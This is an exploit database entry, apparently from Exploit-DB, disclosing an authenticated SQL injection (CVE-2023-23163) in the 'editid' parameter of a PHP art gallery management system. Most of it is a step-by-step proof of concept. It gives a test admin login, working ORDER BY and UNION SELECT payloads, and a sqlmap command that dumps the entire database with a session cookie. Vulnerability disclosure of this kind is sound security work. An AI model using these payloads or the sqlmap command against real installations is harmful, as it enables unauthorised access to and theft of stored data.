Art Gallery Management System Project v1.0 - SQL Injection (editid) authenticated

vendor:

Art Gallery Management System Project

by:

Rahul Patwari

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Art Gallery Management System Project

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: CVE-2023-23163

CPE: a:phpgurukul:art_gallery_management_system_project:1.0

Metasploit:

Other Scripts:

Platforms Tested: XAMPP / Windows 10

2023

Art Gallery Management System Project v1.0 – SQL Injection (editid) authenticated

An authenticated SQL injection vulnerability exists in Art Gallery Management System Project v1.0. An attacker can inject malicious SQL queries into the 'editid' parameter of the 'edit-art-type-detail.php' page, which can be used to extract data from the database. An attacker can use the 'sqlmap' command to fetch all the data from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (editid) authenticated
# Date: 20/01/2023
# Exploit Author: Rahul Patwari
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on: XAMPP / Windows 10
# CVE : CVE-2023-23163

# Proof of Concept:

# 1- Install The application Art Gallery Management System Project v1.0

# 2- Navigate to admin login page and login with the valid username and password<admin:Test@123>.
URL: http://localhost/Art-Gallery-MS-PHP/admin/login.php

# 3- Now navigate "Manage ART TYPE" by clicking on "ART TYPE" option on left side bar.

# 4- Now click on any of the Art Type "Edit" button and you will redirect to the edit page of art type.

# 5- Now insert a single quote ( ' ) on "editid" parameter to break the database query, you will see the output is not shows.

# 6- Now inject the payload double single quote ('') in the "editid" parameter to merge the database query and after sending this request the SQL query is successfully performed and product is shows in the output.

# 7- Now find how many column are returns by the SQL query. this query will return 6 column.
Payload:editid=6%27order%20by%203%20--%20-

# 8- For manually get data of database insert the below payload to see the user of the database.
payload: editid=-6%27union%20all%20select%201,user(),3--%20-

# 9- Now to get all database data use below "sqlmap" command to fetch all the data.
Command: sqlmap http://localhost/Art-Gallery-MS-PHP/admin/edit-art-type-detail.php?editid=6 --cookie="PHPSESSID=hub8pub9s5c1j18cva9594af3q" --dump-all --batch